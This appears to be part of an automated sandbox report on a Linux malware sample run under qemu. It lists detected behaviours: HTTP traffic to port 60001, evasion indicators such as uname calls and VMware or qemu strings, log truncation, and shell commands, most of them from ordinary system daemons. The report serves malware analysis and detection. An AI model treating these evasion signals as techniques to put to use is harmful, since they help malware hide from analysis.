Source: /usr/lib/policykit-1/polkitd (PID: 5454)	Directory: /root/.cache	Jump to behavior
Source: /usr/lib/gdm3/gdm-wayland-session (PID: 5525)	Directory: /var/lib/gdm3/.cache	Jump to behavior
Source: /usr/lib/accountsservice/accounts-daemon (PID: 5504)	Directory: /root/.cache	Jump to behavior
Source: /usr/bin/whoopsie (PID: 5567)	Directory: /nonexistent/.cache	Jump to behavior
Source: /usr/bin/whoopsie (PID: 5669)	Directory: /nonexistent/.cache	Jump to behavior
Source: /usr/lib/accountsservice/accounts-daemon (PID: 5744)	Directory: /root/.cache	Jump to behavior
Source: /usr/bin/whoopsie (PID: 5750)	Directory: /nonexistent/.cache
Source: /usr/bin/whoopsie (PID: 5852)	Directory: /nonexistent/.cache
Source: /usr/bin/whoopsie (PID: 5929)	Directory: /nonexistent/.cache
Source: /usr/lib/policykit-1/polkitd (PID: 6024)	Directory: /root/.cache
Source: /usr/bin/whoopsie (PID: 6029)	Directory: /nonexistent/.cache
Source: /usr/bin/whoopsie (PID: 6049)	Directory: /nonexistent/.cache

Sample tries to set the executable flag

Source: /usr/sbin/gdm3 (PID: 5498)	File: /var/run/gdm3 (bits: - usr: -x grp: x all: rwx)	Jump to behavior
Source: /usr/sbin/gdm3 (PID: 5498)	File: /var/log/gdm3 (bits: - usr: -x grp: x all: rwx)	Jump to behavior
Source: /usr/lib/accountsservice/accounts-daemon (PID: 5504)	File: /var/lib/AccountsService/icons (bits: - usr: rx grp: rwx all: rwx)	Jump to behavior
Source: /usr/lib/accountsservice/accounts-daemon (PID: 5504)	File: /var/lib/AccountsService/users (bits: - usr: - grp: - all: rwx)	Jump to behavior
Source: /usr/sbin/gdm3 (PID: 5697)	File: /var/run/gdm3 (bits: - usr: -x grp: x all: rwx)	Jump to behavior
Source: /usr/sbin/gdm3 (PID: 5697)	File: /var/log/gdm3 (bits: - usr: -x grp: x all: rwx)	Jump to behavior
Source: /usr/lib/accountsservice/accounts-daemon (PID: 5744)	File: /var/lib/AccountsService/icons (bits: - usr: rx grp: rwx all: rwx)	Jump to behavior
Source: /usr/lib/accountsservice/accounts-daemon (PID: 5744)	File: /var/lib/AccountsService/users (bits: - usr: - grp: - all: rwx)	Jump to behavior

Executes commands using a shell command-line interpreter

Source: /usr/sbin/logrotate (PID: 5234)	Shell command executed: sh -c "\n\t\tinvoke-rc.d --quiet cups restart > /dev/null\n" logrotate_script "/var/log/cups/*log "	Jump to behavior
Source: /usr/sbin/logrotate (PID: 5245)	Shell command executed: sh -c /usr/lib/rsyslog/rsyslog-rotate logrotate_script /var/log/syslog	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5471)	Shell command executed: sh -c "grep -G \"^blacklist.nvidia[[:space:]]$\" /etc/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5473)	Shell command executed: sh -c "grep -G \"^blacklist.nvidia[[:space:]]$\" /lib/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5475)	Shell command executed: sh -c "grep -G \"^blacklist.radeon[[:space:]]$\" /etc/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5477)	Shell command executed: sh -c "grep -G \"^blacklist.radeon[[:space:]]$\" /lib/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5479)	Shell command executed: sh -c "grep -G \"^blacklist.amdgpu[[:space:]]$\" /etc/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5482)	Shell command executed: sh -c "grep -G \"^blacklist.amdgpu[[:space:]]$\" /lib/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5484)	Shell command executed: sh -c "grep -G \"^blacklist.nouveau[[:space:]]$\" /etc/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5488)	Shell command executed: sh -c "grep -G \"^blacklist.nouveau[[:space:]]$\" /lib/modprobe.d/*.conf"	Jump to behavior
Source: /usr/share/language-tools/language-options (PID: 5516)	Shell command executed: sh -c "locale -a \| grep -F .utf8 "	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5634)	Shell command executed: sh -c "grep -G \"^blacklist.nvidia[[:space:]]$\" /etc/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5636)	Shell command executed: sh -c "grep -G \"^blacklist.nvidia[[:space:]]$\" /lib/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5639)	Shell command executed: sh -c "grep -G \"^blacklist.radeon[[:space:]]$\" /etc/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5641)	Shell command executed: sh -c "grep -G \"^blacklist.radeon[[:space:]]$\" /lib/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5643)	Shell command executed: sh -c "grep -G \"^blacklist.amdgpu[[:space:]]$\" /etc/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5645)	Shell command executed: sh -c "grep -G \"^blacklist.amdgpu[[:space:]]$\" /lib/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5650)	Shell command executed: sh -c "grep -G \"^blacklist.nouveau[[:space:]]$\" /etc/modprobe.d/*.conf"	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5654)	Shell command executed: sh -c "grep -G \"^blacklist.nouveau[[:space:]]$\" /lib/modprobe.d/*.conf"	Jump to behavior
Source: /usr/share/language-tools/language-options (PID: 5753)	Shell command executed: sh -c "locale -a \| grep -F .utf8 "
Source: /usr/bin/gpu-manager (PID: 5820)	Shell command executed: sh -c "grep -G \"^blacklist.nvidia[[:space:]]$\" /etc/modprobe.d/*.conf"
Source: /usr/bin/gpu-manager (PID: 5822)	Shell command executed: sh -c "grep -G \"^blacklist.nvidia[[:space:]]$\" /lib/modprobe.d/*.conf"
Source: /usr/bin/gpu-manager (PID: 5824)	Shell command executed: sh -c "grep -G \"^blacklist.radeon[[:space:]]$\" /etc/modprobe.d/*.conf"
Source: /usr/bin/gpu-manager (PID: 5827)	Shell command executed: sh -c "grep -G \"^blacklist.radeon[[:space:]]$\" /lib/modprobe.d/*.conf"
Source: /usr/bin/gpu-manager (PID: 5830)	Shell command executed: sh -c "grep -G \"^blacklist.amdgpu[[:space:]]$\" /etc/modprobe.d/*.conf"
Source: /usr/bin/gpu-manager (PID: 5832)	Shell command executed: sh -c "grep -G \"^blacklist.amdgpu[[:space:]]$\" /lib/modprobe.d/*.conf"
Source: /usr/bin/gpu-manager (PID: 5837)	Shell command executed: sh -c "grep -G \"^blacklist.nouveau[[:space:]]$\" /etc/modprobe.d/*.conf"
Source: /usr/bin/gpu-manager (PID: 5839)	Shell command executed: sh -c "grep -G \"^blacklist.nouveau[[:space:]]$\" /lib/modprobe.d/*.conf"
Source: /usr/bin/gpu-manager (PID: 5927)	Shell command executed: sh -c "grep -G \"^blacklist.nvidia[[:space:]]$\" /etc/modprobe.d/*.conf"
Source: /usr/bin/gpu-manager (PID: 5930)	Shell command executed: sh -c "grep -G \"^blacklist.nvidia[[:space:]]$\" /lib/modprobe.d/*.conf"
Source: /usr/bin/gpu-manager (PID: 5934)	Shell command executed: sh -c "grep -G \"^blacklist.radeon[[:space:]]$\" /etc/modprobe.d/*.conf"
Source: /usr/bin/gpu-manager (PID: 5936)	Shell command executed: sh -c "grep -G \"^blacklist.radeon[[:space:]]$\" /lib/modprobe.d/*.conf"
Source: /usr/bin/gpu-manager (PID: 5940)	Shell command executed: sh -c "grep -G \"^blacklist.amdgpu[[:space:]]$\" /etc/modprobe.d/*.conf"
Source: /usr/bin/gpu-manager (PID: 5943)	Shell command executed: sh -c "grep -G \"^blacklist.amdgpu[[:space:]]$\" /lib/modprobe.d/*.conf"
Source: /usr/bin/gpu-manager (PID: 5949)	Shell command executed: sh -c "grep -G \"^blacklist.nouveau[[:space:]]$\" /etc/modprobe.d/*.conf"
Source: /usr/bin/gpu-manager (PID: 5951)	Shell command executed: sh -c "grep -G \"^blacklist.nouveau[[:space:]]$\" /lib/modprobe.d/*.conf"

Source: /usr/sbin/rsyslogd (PID: 5459)	Log file created: /var/log/auth.log
Source: /usr/sbin/rsyslogd (PID: 5459)	Log file created: /var/log/kern.log
Source: /usr/bin/gpu-manager (PID: 5470)	Log file created: /var/log/gpu-manager.log
Source: /usr/bin/gpu-manager (PID: 5633)	Log file created: /var/log/gpu-manager.log
Source: /usr/sbin/rsyslogd (PID: 5653)	Log file created: /var/log/auth.log
Source: /usr/sbin/rsyslogd (PID: 5653)	Log file created: /var/log/kern.log
Source: /usr/sbin/rsyslogd (PID: 5734)	Log file created: /var/log/kern.log
Source: /usr/bin/gpu-manager (PID: 5762)	Log file created: /var/log/gpu-manager.log
Source: /usr/sbin/rsyslogd (PID: 5843)	Log file created: /var/log/auth.log
Source: /usr/sbin/rsyslogd (PID: 5843)	Log file created: /var/log/kern.log
Source: /usr/sbin/rsyslogd (PID: 5917)	Log file created: /var/log/kern.log
Source: /usr/sbin/rsyslogd (PID: 5917)	Log file created: /var/log/auth.log
Source: /usr/bin/gpu-manager (PID: 5926)	Log file created: /var/log/gpu-manager.log	Jump to dropped file
Source: /usr/sbin/rsyslogd (PID: 6021)	Log file created: /var/log/auth.log	Jump to dropped file
Source: /usr/sbin/rsyslogd (PID: 6021)	Log file created: /var/log/kern.log	Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 35978 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35978 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35978 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37668 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37668 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35978 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37668 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52794 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35978 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 50466 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52794 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52794 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52794 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52794 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35978 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52794 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35978 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52794 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 39302 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 53846 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 39302 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 53846 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 39302 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 53846 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 39302 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43140 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43140 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 53846 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43140 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43140 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 53846 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43140 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43564 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 32850 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43564 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 32850 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 32850 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43564 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 53846 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 32850 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 33276 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43140 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 32850 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37456 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37456 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37456 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 51214 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 51214 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 32850 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52794 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 51618 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43354 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 51618 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 51618 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35716 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35716 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35978 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35716 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 51618 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35716 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56348 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35656 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35716 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56348 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56348 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 53846 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35716 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43140 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 32850 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58528 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35206 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35716 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58528 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35206 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58528 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 48776 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35206 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 48776 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58528 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 48776 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35206 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 48776 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58528 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35206 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 48776 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35716 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58528 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 48776 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35206 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 32850 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 53846 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43140 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58528 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 48776 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35206 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35716 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58528 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 48776 -> 60001

Malware Analysis System Evasion:

Reads CPU information from /sys indicative of miner or evasive malware

Source: /usr/bin/pulseaudio (PID: 5386)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 5492)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 5661)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 5842)	Reads CPU info from /sys: /sys/devices/system/cpu/online
Source: /usr/bin/pulseaudio (PID: 5948)	Reads CPU info from /sys: /sys/devices/system/cpu/online
Source: /usr/bin/pkill (PID: 6019)	Reads CPU info from /sys: /sys/devices/system/cpu/online
Source: /usr/bin/pulseaudio (PID: 6041)	Reads CPU info from /sys: /sys/devices/system/cpu/online

Uses the "uname" system call to query kernel version information (possible evasion)

Source: /usr/bin/find (PID: 5232)	Queries kernel information via 'uname':	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5278)	Queries kernel information via 'uname':	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5321)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/whoopsie (PID: 5383)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/pulseaudio (PID: 5386)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/sbin/rsyslogd (PID: 5459)	Queries kernel information via 'uname':	Jump to behavior
Source: /sbin/agetty (PID: 5461)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5470)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/gdm3/gdm-session-worker (PID: 5521)	Queries kernel information via 'uname':	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5566)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/whoopsie (PID: 5567)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5633)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/sbin/rsyslogd (PID: 5653)	Queries kernel information via 'uname':	Jump to behavior
Source: /sbin/agetty (PID: 5659)	Queries kernel information via 'uname':	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5668)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/whoopsie (PID: 5669)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/sbin/rsyslogd (PID: 5734)	Queries kernel information via 'uname':	Jump to behavior
Source: /sbin/agetty (PID: 5740)	Queries kernel information via 'uname':	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5746)	Queries kernel information via 'uname':
Source: /usr/bin/whoopsie (PID: 5750)	Queries kernel information via 'uname':
Source: /usr/bin/gpu-manager (PID: 5762)	Queries kernel information via 'uname':
Source: /usr/sbin/rsyslogd (PID: 5843)	Queries kernel information via 'uname':
Source: /lib/systemd/systemd-journald (PID: 5850)	Queries kernel information via 'uname':
Source: /usr/bin/whoopsie (PID: 5852)	Queries kernel information via 'uname':
Source: /usr/sbin/rsyslogd (PID: 5917)	Queries kernel information via 'uname':
Source: /sbin/agetty (PID: 5924)	Queries kernel information via 'uname':
Source: /lib/systemd/systemd-journald (PID: 5925)	Queries kernel information via 'uname':
Source: /usr/bin/gpu-manager (PID: 5926)	Queries kernel information via 'uname':
Source: /usr/bin/whoopsie (PID: 5929)	Queries kernel information via 'uname':
Source: /usr/bin/pulseaudio (PID: 5948)	Queries kernel information via 'uname':
Source: /usr/sbin/rsyslogd (PID: 6021)	Queries kernel information via 'uname':
Source: /sbin/agetty (PID: 6025)	Queries kernel information via 'uname':
Source: /usr/bin/whoopsie (PID: 6029)	Queries kernel information via 'uname':
Source: /lib/systemd/systemd-journald (PID: 6033)	Queries kernel information via 'uname':
Source: /usr/bin/pulseaudio (PID: 6041)	Queries kernel information via 'uname':

Deletes log files

Source: /usr/sbin/logrotate (PID: 5192)	Truncated file: /var/log/cups/access_log.1	Jump to behavior
Source: /usr/sbin/logrotate (PID: 5192)	Truncated file: /var/log/syslog.1	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5470)	Truncated file: /var/log/gpu-manager.log	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5633)	Truncated file: /var/log/gpu-manager.log	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5746)	Truncated file: /var/log/journal/ee49dfd4fa47433baee88884e2d7de7c/system@0005d593c8771680-635fa3b935fc1b52.journal~
Source: /usr/bin/gpu-manager (PID: 5762)	Truncated file: /var/log/gpu-manager.log
Source: /usr/bin/gpu-manager (PID: 5926)	Truncated file: /var/log/gpu-manager.log

Source: 5237.18.dr	Binary or memory string: -9915837702310A--gzvmware kernel module
Source: 5237.18.dr	Binary or memory string: -1116261022170A--gzQEMU User Emulator
Source: 5237.18.dr	Binary or memory string: qemu-or1k
Source: 5237.18.dr	Binary or memory string: qemu-riscv64
Source: 5237.18.dr	Binary or memory string: {cqemu
Source: 5237.18.dr	Binary or memory string: qemu-arm
Source: 5237.18.dr	Binary or memory string: (qemu
Source: 5237.18.dr	Binary or memory string: qemu-tilegx
Source: 5237.18.dr	Binary or memory string: qemu-hppa
Source: 5237.18.dr	Binary or memory string: q{rqemu%
Source: 5237.18.dr	Binary or memory string: )qemu
Source: 5237.18.dr	Binary or memory string: vmware-toolbox-cmd
Source: 5237.18.dr	Binary or memory string: qemu-ppc
Source: 5237.18.dr	Binary or memory string: Tqemu9
Source: nSg5RM0w0d, 5278.1.00000000e75c9218.00000000d9b03796.rw-.sdmp, nSg5RM0w0d, 5281.1.00000000e75c9218.00000000d9b03796.rw-.sdmp, nSg5RM0w0d, 5282.1.00000000e75c9218.00000000d9b03796.rw-.sdmp, nSg5RM0w0d, 5286.1.00000000e75c9218.00000000d9b03796.rw-.sdmp, nSg5RM0w0d, 5289.1.00000000e75c9218.00000000d9b03796.rw-.sdmp, nSg5RM0w0d, 5290.1.00000000e75c9218.00000000d9b03796.rw-.sdmp, nSg5RM0w0d, 5294.1.00000000e75c9218.00000000d9b03796.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/m68k
Source: nSg5RM0w0d, 5278.1.00000000e75c9218.00000000d9b03796.rw-.sdmp, nSg5RM0w0d, 5281.1.00000000e75c9218.00000000d9b03796.rw-.sdmp, nSg5RM0w0d, 5282.1.00000000e75c9218.00000000d9b03796.rw-.sdmp, nSg5RM0w0d, 5286.1.00000000e75c9218.00000000d9b03796.rw-.sdmp, nSg5RM0w0d, 5289.1.00000000e75c9218.00000000d9b03796.rw-.sdmp, nSg5RM0w0d, 5290.1.00000000e75c9218.00000000d9b03796.rw-.sdmp, nSg5RM0w0d, 5294.1.00000000e75c9218.00000000d9b03796.rw-.sdmp	Binary or memory string: kaU!/etc/qemu-binfmt/m68k
Source: syslog.67.dr	Binary or memory string: Jan 15 00:11:43 galassia kernel: [ 478.955182] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 12/12/2018
Source: 5237.18.dr	Binary or memory string: qemu-aarch64_be
Source: 5237.18.dr	Binary or memory string: 0qemu9
Source: 5237.18.dr	Binary or memory string: qemu-sparc64
Source: 5237.18.dr	Binary or memory string: qemu-mips64
Source: 5237.18.dr	Binary or memory string: vV:qemu9
Source: 5237.18.dr	Binary or memory string: qemu-ppc64le
Source: 5237.18.dr	Binary or memory string: <glib::param::uint64Glib::Param::UInt643pm315820097650A--gzWrapper for uint64 parameters in GLibx86_64-linux-gnu-ld.gold-1116112426130B--gzThe GNU ELF linkerprinter-profile-1115804162510A--gzProfile using X-Rite ColorMunki and Argyll CMSgrub-fstest-1116214898500A--gzdebug tool for GRUB filesystem driversxdg-user-dir-1115483406210A--gzFind an XDG user dirkmodsign-1115569251480A--gzKernel module signing toolsensible-editor-1115739932820A--gzsensible editing, paging, and web browsingminesMines6615854478170Cgnome-mines-gzinputattach-1115708189280A--gzattach a serial line to an input-layer devicegapplication-1116155671180A--gzD-Bus application launcherip-tunnel-8815816145190A--gztunnel configurationkoi8rxterm-1116140167530A--gzX terminal emulator for KOI8-R environmentsfoo2hiperc-wrapper-1115804162510A-tgzConvert Postscript into a HIPERC printer streamcryptsetup-reencrypt-8816002888050A--gztool for offline LUKS device re-encryptionsyndaemon-1115861716810A--gza program that monitors keyboard activity and disables the touchpad when the keyboard is being used.gslj-1115980290200B--gzFormat and print text for LaserJet printer using ghostscriptfile2brl-1115757179490A--gzTranslate an xml or a text file into an embosser-ready braille filexfdesktop-settings-1115793419820A--gzDesktop settings for Xfceua-1115856013570B--gzManage Ubuntu Advantage services from Canonicallatin4-7715812813670B--gzISO 8859-4 character set encoded in octal, decimal, and hexadecimalsane-genesys-5516003468200A--gzSANE backend for GL646, GL841, GL843, GL847 and GL124 based USB flatbed scannerspdftohtml-1115853266670A--gzprogram to convert PDF files into HTML, XML and PNG imagesbluetooth-sendto-1116015653360A--gzGTK application for transferring files over Bluetoothqemu-ppc64-1116261022170B--gzQEMU User Emulatorcache_metadata_size-8815811608350A--gzEstimate the size of the metadata device needed for a given configuration.net::dbus::exporterNet::DBus::Exporter3pm315773746310A--gzExport object methods and signals to the bussane-pint-5516003468200A--gzSANE backend for scanners that use the PINT device driverbpf-helpers7-7715812813670A--gzlist of eBPF helper functionsfull-4415812813670A--gzalways full devicelogin-1115906478670A--gzbegin session on the systemcups-snmp-8815877390340A--gzcups snmp backend (deprecated)ordchr-3am315728089600A--gzconvert characters to strings and vice versasosreport-1116092694050A--gzCollect and package diagnostic and support datatop-1115827827270A--gzdisplay Linux processesuri::_punycodeURI::_punycode3pm315811897880A--gzencodes Unicode string in Punycodettytty4tty1systemd-localed-8816268940210B--gzLocale bus mechanismlvmsadc-8815816289110
Source: 5237.18.dr	Binary or memory string: vmware
Source: 5237.18.dr	Binary or memory string: qemu-cris
Source: 5237.18.dr	Binary or memory string: libvmtools
Source: 5237.18.dr	Binary or memory string: qemu-m68k
Source: 5237.18.dr	Binary or memory string: qemu-xtensa
Source: 5237.18.dr	Binary or memory string: 9qemu
Source: 5237.18.dr	Binary or memory string: qemu-sh4
Source: 5237.18.dr	Binary or memory string: Dprezip-bin-1116269780060A--gzprefix zip delta word list compressor/decompressornameif-8815490444730A--gzname network interfaces based on MAC addressesxdg-user-dirs-update-1115483406210A--gzUpdate XDG user dir configurationip-link-8815816145190A--gznetwork device configurationhpsa-4415812813670A--gzHP Smart Array SCSI driverhd4-4415812813670A--gzMFM/IDE hard disk devicessane-canon630u-5516003468200A--gzSANE backend for the Canon 630u USB flatbed scannersg_copy_results-8815825816070A--gzsend SCSI RECEIVE COPY RESULTS command (XCOPY related)grub-macbless-8816214898500A--gzbless a mac file/directoryntfstruncate-8815568625640A-tgztruncate a file on an NTFS volumelessfile-1115936459130B--gz"input preprocessor" for less.sane-artec-5516003468200A--gzSANE backend for Artec flatbed scannersrmdir-1115676799200A--gzremove empty directoriessystemd-networkd-wait-online.service-8816268940210A--gzWait for network to come onlinemkfs.ntfs-8815568625640B-tgzcreate an NTFS file systemsg_inq-8815825816070A--gzissue SCSI INQUIRY command and/or decode its responseradattr.so-8815955079440Cpppd-radattr-gzc_rehash-1ssl116164130370B--gzCreate symbolic links to files named by the hash valuestc-htb-8815816145190A--gzHierarchy Token Bucketgvfs-open-1115868766090A--gzsg_rbuf-8815825816070A--gzreads data using SCSI READ BUFFER commandglib-compile-schemas-1116155671180A--gzGSettings schema compileropenssl-srp-1ssl116164130370B--gzmaintain SRP password fileopenssl-rehash-1ssl116164130370B--gzCreate symbolic links to files named by the hash valueslibvmtools-3315837702310A--gzvmware shared librarypasswd5-5515906478670A--gzthe password filenet::dbus::dumperNet::DBus::Dumper3pm315773746310A--gzStringify Net::DBus objects suitable for printingsane-hp4200-5516003468200A--gzSANE backend for Hewlett-Packard 4200 scannersposixoptions-7715812813670A--gzoptional parts of the POSIX standardnetworkmanager.confNetworkManager.conf5516002723180A--gzNetworkManager configuration fileownership-8815771238010A--gzCompaq ownership tag retrieveroakdecode-1115804162510A--gzDecode an OAKT printer stream into human readable form.gvfs-save-1115868766090A--gzmkfs.minix-8815953177680A--gzmake a Minix filesystemuri7-7715812813670A--gzuniform resource identifier (URI), including a URL or URNedit-1115714399500B--gzexecute programs via entries in the mailcap filegit-diff-files-1116148628880A--gzCompares files in the working tree and the index.ldaprc-5516136581350Cldap.conf-gzpactl-1116219586470A--gzControl a running PulseAudio sound servertempfile-1115756848240A--gzcreate a temporary file in a safe mannerhp-check-1115857238880A--gzDependency/Vers
Source: nSg5RM0w0d, 5278.1.000000001e4697c8.0000000045731922.rw-.sdmp, nSg5RM0w0d, 5281.1.000000001e4697c8.0000000045731922.rw-.sdmp, nSg5RM0w0d, 5282.1.000000001e4697c8.0000000045731922.rw-.sdmp, nSg5RM0w0d, 5286.1.000000001e4697c8.0000000045731922.rw-.sdmp, nSg5RM0w0d, 5289.1.000000001e4697c8.0000000045731922.rw-.sdmp, nSg5RM0w0d, 5290.1.000000001e4697c8.0000000045731922.rw-.sdmp, nSg5RM0w0d, 5294.1.000000001e4697c8.0000000045731922.rw-.sdmp	Binary or memory string: /usr/bin/qemu-m68k
Source: 5237.18.dr	Binary or memory string: .qemu{
Source: 5237.18.dr	Binary or memory string: qemu-ppc64abi32
Source: 5237.18.dr	Binary or memory string: qemu-ppc64
Source: 5237.18.dr	Binary or memory string: qemu-i386
Source: 5237.18.dr	Binary or memory string: qemu-x86_64
Source: 5237.18.dr	Binary or memory string: H~6\nqemu*q
